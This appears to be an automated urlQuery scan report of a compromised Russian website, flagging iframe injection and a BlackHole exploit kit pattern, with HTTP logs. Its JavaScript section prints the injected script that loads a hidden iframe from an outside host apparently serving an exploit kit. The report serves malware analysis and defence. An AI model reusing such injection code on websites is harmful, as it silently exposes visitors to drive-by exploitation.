Overview

URLhttp://www.relitestroy.ru/doska/ksfktrar/ssffratt
IP87.242.67.63
ASNAS25532 .masterhost autonomous system
Location Russian Federation
Report completed2012-11-06 23:37:21 CET
StatusLoading report..
urlQuery Alerts Detected malicious iframe injection
Detected BlackHole v1.x exploit kit URL pattern


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro No alerts detected
Snort /w Sourcefire VRT No alerts detected


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 87.242.67.63

Date Alerts / IDS URL IP
2012-11-20 05:26:042 / 0http://www.relitestroy.ru/doska/msfktrwa/asfkstre87.242.67.63
2012-11-18 12:09:462 / 0http://relitestroy.ru/87.242.67.63
2012-11-18 04:23:102 / 0http://relitestroy.ru/doska/isfktrwp/gsfksatz87.242.67.63
2012-11-18 03:48:212 / 0http://relitestroy.ru/doska/ysfktrta/ssfzkfes87.242.67.63
2012-11-17 04:29:042 / 0http://relitestroy.ru/doska/msfktrze/isfkatrs87.242.67.63
2012-11-16 05:42:562 / 0http://relitestroy.ru/doska/ksfktrar/csffrasa/87.242.67.63

Last 6 reports on ASN: AS25532 .masterhost autonomous system

Date Alerts / IDS URL IP
2013-02-18 01:00:310 / 2http://gig-ant.com/reror1.php?ncrnd=ysCgQlNSmG90.156.201.102
2013-02-18 00:22:500 / 1http://gig-ant.com/reror1.php?ncrnd=JUHQrXeCIt90.156.201.102
2013-02-17 23:26:490 / 1http://akva-maris.ru/www/backup.php?ncrnd=SYCQjneUtC90.156.201.13
2013-02-17 18:31:101 / 1http://daleks.su/217.16.26.171
2013-02-17 17:00:290 / 1http://www.raevo.ru/90.156.201.42
2013-02-17 16:40:400 / 0http://pp-sicherheit-online2.com/step1.php?data=U2FicmluYTpL9mxsaW5n&selection=tfol11a6e013 (...)83.222.14.128

Last 6 reports on domain: www.relitestroy.ru

Date Alerts / IDS URL IP
2012-11-20 05:26:042 / 0http://www.relitestroy.ru/doska/msfktrwa/asfkstre87.242.67.63
2012-11-09 14:41:132 / 0http://www.relitestroy.ru/doska/ysfktrta/msfrkprz/87.242.67.63
2012-11-08 01:41:452 / 0http://www.relitestroy.ru/87.242.67.63
2012-11-07 23:14:052 / 0http://www.relitestroy.ru/doska/esfktrwe/msfkaefs/87.242.67.63
2012-11-07 22:55:082 / 0http://www.relitestroy.ru/doska/ksfktrar/ssffrwzr87.242.67.63
2012-11-07 17:58:002 / 0http://www.relitestroy.ru/doska/ksfktrwf/csfkezpf87.242.67.63



JavaScript

Executed Scripts (4)


Executed Evals (2)

#1 JavaScript::Eval (size: 613, repeated: 1) - Alert detect on script (Severity: 2)

		if (document.getElementsByTagName('body')[0]) {
		    iframer();
		} else {
		    document.write("<iframe src='http://google-banking.com/main.php?page=f8a892dc63e25f27' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
		}
		function iframer() {
		    var f = document.createElement('iframe');
		    f.setAttribute('src', 'http://google-banking.com/main.php?page=f8a892dc63e25f27');
		    f.style.visibility = 'hidden';
		    f.style.position = 'absolute';
		    f.style.left = '0';
		    f.style.top = '0';
		    f.setAttribute('width', '10');
		    f.setAttribute('height', '10');
		    document.getElementsByTagName('body')[0].appendChild(f);
		}

#2 JavaScript::Eval (size: 4, repeated: 613) 

m[i]

Executed Writes (0)



HTTP Transactions (16)


Request Response 
GET /doska/ksfktrar/ssffratt HTTP/1.1

Host: www.relitestroy.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=windows-1251

Date: Tue, 06 Nov 2012 22:36:42 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=5
Server: Apache
Cache-Control: max-age=0
Expires: Tue, 06 Nov 2012 22:36:42 GMT
GET /xstyle.css HTTP/1.1

Host: www.relitestroy.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.relitestroy.ru/doska/ksfktrar/ssffratt
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Tue, 06 Nov 2012 22:36:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Server: Apache
Last-Modified: Wed, 18 Jul 2007 10:56:29 GMT
Etag: &quot;b80102-19b7-435878bca7140&quot;
Accept-Ranges: bytes
Content-Length: 6583
Cache-Control: max-age=0
Expires: Tue, 06 Nov 2012 22:36:42 GMT
GET /img/garin.jpg HTTP/1.1

Host: www.relitestroy.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.relitestroy.ru/doska/ksfktrar/ssffratt
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Tue, 06 Nov 2012 22:36:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Server: Apache
Last-Modified: Fri, 13 Jul 2007 14:12:51 GMT
Etag: &quot;b80615-4ef-43525b4d89ec0&quot;
Accept-Ranges: bytes
Content-Length: 1263
Cache-Control: max-age=86400
Expires: Wed, 07 Nov 2012 22:36:42 GMT
GET /relitestroy.ico HTTP/1.1

Host: www.relitestroy.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: image/x-icon

Date: Tue, 06 Nov 2012 22:36:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Server: Apache
Last-Modified: Mon, 24 Sep 2007 10:17:14 GMT
Etag: &quot;b800fe-37e-43adeeca17e80&quot;
Accept-Ranges: bytes
Content-Length: 894
Cache-Control: max-age=0
Expires: Tue, 06 Nov 2012 22:36:42 GMT
GET /img/logo.jpg HTTP/1.1

Host: www.relitestroy.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.relitestroy.ru/xstyle.css
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Tue, 06 Nov 2012 22:36:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Server: Apache
Last-Modified: Thu, 31 May 2007 10:54:32 GMT
Etag: &quot;b8061d-10dd-431c1ec6f2a00&quot;
Accept-Ranges: bytes
Content-Length: 4317
Cache-Control: max-age=86400
Expires: Wed, 07 Nov 2012 22:36:42 GMT
GET /img/copyr.gif HTTP/1.1

Host: www.relitestroy.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.relitestroy.ru/xstyle.css
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 06 Nov 2012 22:36:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Server: Apache
Last-Modified: Thu, 31 May 2007 10:54:32 GMT
Etag: &quot;b80614-10a-431c1ec6f2a00&quot;
Accept-Ranges: bytes
Content-Length: 266
Cache-Control: max-age=86400
Expires: Wed, 07 Nov 2012 22:36:42 GMT
GET /img/li4.gif HTTP/1.1

Host: www.relitestroy.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.relitestroy.ru/xstyle.css
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 06 Nov 2012 22:36:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Server: Apache
Last-Modified: Mon, 04 Jun 2007 13:52:02 GMT
Etag: &quot;b8061b-35-43214de96c480&quot;
Accept-Ranges: bytes
Content-Length: 53
Cache-Control: max-age=86400
Expires: Wed, 07 Nov 2012 22:36:42 GMT
GET /img/list.gif HTTP/1.1

Host: www.relitestroy.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.relitestroy.ru/xstyle.css
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 06 Nov 2012 22:36:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Server: Apache
Last-Modified: Thu, 31 May 2007 10:54:32 GMT
Etag: &quot;b8061c-33-431c1ec6f2a00&quot;
Accept-Ranges: bytes
Content-Length: 51
Cache-Control: max-age=86400
Expires: Wed, 07 Nov 2012 22:36:42 GMT
GET /img/top.jpg HTTP/1.1

Host: www.relitestroy.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.relitestroy.ru/doska/ksfktrar/ssffratt
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Tue, 06 Nov 2012 22:36:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Server: Apache
Last-Modified: Mon, 25 Jun 2007 10:01:47 GMT
Etag: &quot;b80628-6428-433b819d178c0&quot;
Accept-Ranges: bytes
Content-Length: 25640
Cache-Control: max-age=86400
Expires: Wed, 07 Nov 2012 22:36:42 GMT
GET /images/projects/353_149x149.jpeg HTTP/1.1

Host: relitestroy.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.relitestroy.ru/doska/ksfktrar/ssffratt
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Tue, 06 Nov 2012 22:36:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Server: Apache
Cache-Control: max-age=86400
Expires: Wed, 07 Nov 2012 22:36:42 GMT
Content-Length: 2989
GET /img/phone_bg.jpg HTTP/1.1

Host: relitestroy.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.relitestroy.ru/doska/ksfktrar/ssffratt
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Tue, 06 Nov 2012 22:36:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Server: Apache
Last-Modified: Mon, 04 Jun 2007 13:19:15 GMT
Etag: &quot;b8061f-60ac-432146958bac0&quot;
Accept-Ranges: bytes
Content-Length: 24748
Cache-Control: max-age=86400
Expires: Wed, 07 Nov 2012 22:36:42 GMT
GET /images/s.gif HTTP/1.1

Host: www.relitestroy.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.relitestroy.ru/doska/ksfktrar/ssffratt
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=windows-1251

Date: Tue, 06 Nov 2012 22:36:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Server: Apache
Content-Length: 2766
GET /images/arrow.png HTTP/1.1

Host: www.relitestroy.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Tue, 06 Nov 2012 22:36:45 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Server: Apache
Last-Modified: Wed, 29 Aug 2007 09:57:03 GMT
Etag: &quot;b8029a-11f-438d39c9359c0&quot;
Accept-Ranges: bytes
Content-Length: 287
Cache-Control: max-age=0
Expires: Tue, 06 Nov 2012 22:36:45 GMT
GET /relitestroy.ico HTTP/1.1

Host: www.relitestroy.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
If-Modified-Since: Mon, 24 Sep 2007 10:17:14 GMT
If-None-Match: &quot;b800fe-37e-43adeeca17e80&quot;
 
HTTP/1.1 304 Not Modified

HTTP/1.1 304 Not Modified

Date: Tue, 06 Nov 2012 22:36:45 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Server: Apache
Etag: &quot;b800fe-37e-43adeeca17e80&quot;
Expires: Tue, 06 Nov 2012 22:36:45 GMT
Cache-Control: max-age=0
GET /images/arrow.png HTTP/1.1

Host: www.relitestroy.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 


 
 
GET /main.php?page=f8a892dc63e25f27 HTTP/1.1

Host: google-banking.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.relitestroy.ru/doska/ksfktrar/ssffratt